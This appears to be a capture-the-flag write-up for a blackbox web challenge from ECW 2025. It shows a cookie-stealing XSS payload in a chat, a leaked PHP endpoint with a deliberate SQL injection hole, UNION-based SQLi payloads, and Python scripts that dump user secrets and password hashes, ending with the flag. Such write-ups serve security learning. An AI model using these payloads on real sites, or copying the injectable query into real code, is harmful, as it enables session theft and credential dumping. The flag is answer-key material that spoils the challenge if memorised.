Oui, Key Leaks
Oui, Key Leaks
OuiKeyLeaks have been seized for publishing a bad article about drones!
Out of curiosity, can you help us pentesting this website ? Try retrieving the admin’s password hash.
Spoiler : It’s going to take some escalation ! Have fun.
Introduction
OuiKeyLeaks is a medium web challenge from the ECW 2025, in blackbox, which means we dont have any access to the source code.

Get into the website
When you look up at the JavaScript code that runs on the page, you’ll see a comment with some JavaScript code:
/*Script that should redirect to the right endpoint if the user is granted with my cookie*/
/*
document.addEventListener("DOMContentLoaded", function () {
const cookies = document.cookie.split(';');
let magicCookieValue = null;
// Check if magic_cookie is set !!
cookies.forEach(cookie => {
const [name, value] = cookie.trim().split('=');
if (name === 'magic_cookie') {
magicCookieValue = value;
}
});
// If the user has the valid magic cookie
if (magicCookieValue === 'investigator') {
window.location.href = "/OuiKL/blog.html";
}
});
*/
/*Decided to redirect using nginx reverse proxy to assure security*/
When you read that code, you understand that you need to have a cookie called
magic_cookie with investigator as value.
If we put this cookie, and we refresh the page, we now have access to the website content.

From investigator to administrator
The first thing we can do, is adding a premium cookie to true, to
avoid having some ads on the screen:
function createStopAdsButton() {
if (getCookie("premium") == "true") return; // Do nothing if premium
const button = document.createElement("button");
button.textContent = "🚫 Stop Ads : Get premium";
button.classList.add("stop-ads");
document.body.appendChild(button);
}
createStopAdsButton();
setInterval(createPopup, 1424);
Then, when you go on the chat, you can send some messages, treated with that script:
const port = window.location.port ? `:${window.location.port}` : "";
const socket = io(`ws://${window.location.hostname}${port}`)
function toggleChat() {
const chatContainer = document.getElementById("chatContainer");
chatContainer.classList.toggle("open");
}
function sendMessage(e) {
e.preventDefault()
const input = document.querySelector('input')
if (input.value) {
socket.emit('message', input.value)
input.value = ""
}
input.focus()
}
document.querySelector('form')
.addEventListener('submit', sendMessage)
socket.on("message", (data) => {
const li = document.createElement('li')
li.innerHTML = data;
document.querySelector('ul').appendChild(li)
const chatBody = document.querySelector('.chat-body');
chatBody.scrollTop = chatBody.scrollHeight;
})
We can see that when it receive a message, it’ll use the innerHTML function
to render the message content, that’ll allows us to use an XSS.
So, we can try to steal another user cookie with a simple img tag:
<img src=x onerror="socket.emit('message',document.cookie)"/>
In the chat, we’ll get back other users cookies:
_6LtN: magic_cookie=investigator; premium=true; guid=51af8760-3cbf-4344-bcba-7f142d3157e7
Once you add them, you’ll be able to go on the administrator panel on the /admin route.

Watching logs
On the logs tab, we have all the website logs available. Many times, you can see a request to /admin/notes.txt,
so let’s see what we have there.

TODO :
Gotta implement some temporary validation dor investigators : done
Using rev nginx : done
SQL is so easy : yes
No time for guid validation with nginx, todo later
Make admins able to change password : done
email notifs: done
Dark Light themes : useless really + web dev, won't do
Rebrand to something else than Oui Key Leaks like idk... The Pi rat's babe or something, sounds good
______________________________________________ What to do if you are under investigation __________________________________________________
If you are under investigation, the first step is to contact a lawyer immediately.
Avoid speaking to the police or signing any documents without legal advice.
A lawyer can help manage the situation and prevent it from worsening.
They can also conduct their own investigation to uncover evidence that might prove your innocence.
It is crucial to act quickly, as certain avenues of investigation may close once you are charged.
Understanding your legal rights and ensuring you do not make any incriminating mistakes is essential.
_______________________________________________ How to find a good lawyer __________________________________________
Finding a good lawyer involves several steps to ensure you find someone who can effectively handle your legal needs. First, consider the type of legal services you require and whether you need a general practice attorney or a specialist in a specific area of law.
Personal referrals from friends, family, or colleagues who have faced similar legal issues can provide valuable insights into a lawyer's competence and communication style.
Additionally, you can consult with your local or state bar association, which often provides lawyer referral services.
Online resources like Avvo and Lexpert offer directories of lawyers with client reviews, bar data, disciplinary records, and peer endorsements, allowing you to research potential candidates.
These directories can help you narrow down your choices based on practice area and location.
TODO eventually :
Test security, especially the guid cookie, I hard vibed that code a little too hard maybe
Buy new coffee machine
I should try OSCP, I'm good at security
I should check if the guid is valid instead of simply checking if the user has a guid set
Check again if I successfully deleted all illegal files from server
Base64: J1lvdSdyZSBvbiB0aGUgcmlnaHQgcGF0aCwgZW5qb3lpbmcgdGhlIGNoYWxsIHNvIGZhciA/IExldCBtZSBrbm93IG9uIERpc2NvcmQgOyknIElsbF9MYWtlIG9yIE5vZHJvZyBOYW1lZXJm
my slapped code to be reworked :
<?php
header("Content-Type: application/json");
require_once '../config/config.php'; // Connexion PDO
// Check if guid is present
if (isset($_COOKIE['guid'])) {
$guid = $_COOKIE['guid'];
$query = "SELECT name, secret FROM users WHERE guid = '$guid'";
$result = $pdo->query($query);
$userData = $result->fetch(PDO::FETCH_ASSOC);
if ($userData) {
echo json_encode([
"success" => true,
"name" => $userData['name'],
"secret" => $userData['secret']
]);
} else {
echo json_encode(["success" => false, "message" => "Unknown GUID"]);
}
} else {
echo json_encode(["success" => false, "message" => "No guid found..."]);
}
?>
TODO also, make sure nobody can see this file
SQLi on protected API endpoint
Okay, so we got a PHP code with an SQL injection in the notes.txt file.
But, we don’t know in which route this SQL injection takes places.
For that, I just openned my dev tool during the load of the website, and I found that URL: http://challenges.challenge-ecw.eu:35742/admin/api/user.php
Which have the following response:

So exactly the same response structure.
Now, we need to automatically get all usernames and secrets:
from requests import get
BASE_URI = "http://challenges.challenge-ecw.eu:35742/admin/api/user.php"
for i in range(20):
payload = f"51af8760-3cbf-4344-bcba-7f142d3157e7' OR 1=1 LIMIT {i},1 # "
print(payload)
res = get(BASE_URI, cookies={"guid": payload})
if res.status_code == 200:
print(res.json())
else:
print("An error has occured... Exit...")
break

Nothing that much interesting, except one line, the “Admin” one, with the following
secret: I always hide my flags is my db password fields.
Let’s do some classic SQL injection then:
- Get the DB type and version:
51af8760-3cbf-4344-bcba-7f142d3157e8' UNION SELECT
@@version,'salut' #
{'success': True, 'name': '10.11.14-MariaDB-0+deb12u2', 'secret': 'salut'}
- Select all columns:
From the above PHP script in the notes, we know
that we need to use the
userstable.
51af8760-3cbf-4344-bcba-7f142d3157e8' UNION SELECT
GROUP_CONCAT(column_name SEPARATOR ', '),'salut'
FROM information_schema.columns WHERE
table_name = 'users' GROUP BY table_name #
{'success': True, 'name': 'USER, CURRENT_CONNECTIONS, TOTAL_CONNECTIONS, id, name, password_hash, guid, secret, email, email_notifications, created_at', 'secret': 'salut'}
- Make a script and grab all passwords:
from requests import get
from urllib.parse import urlencode,quote_plus
BASE_URI = "http://challenges.challenge-ecw.eu:35977/admin/api/user.php"
for i in range(20):
payload = f"51af8760-3cbf-4344-bcba-7f142d3157e8' UNION SELECT password_hash, name FROM users LIMIT {i},1 # "
res = get(BASE_URI, cookies={"guid": payload})
if res.status_code == 200:
json_data = res.json()
if json_data["success"] == False:
print(json_data)
break
print(json_data)
else:
print(res.status_code)
print(res.text)
print("An error has occured... Exit...")
break

Flag: ECW{M4stery_Of_All_T3chniques_gg}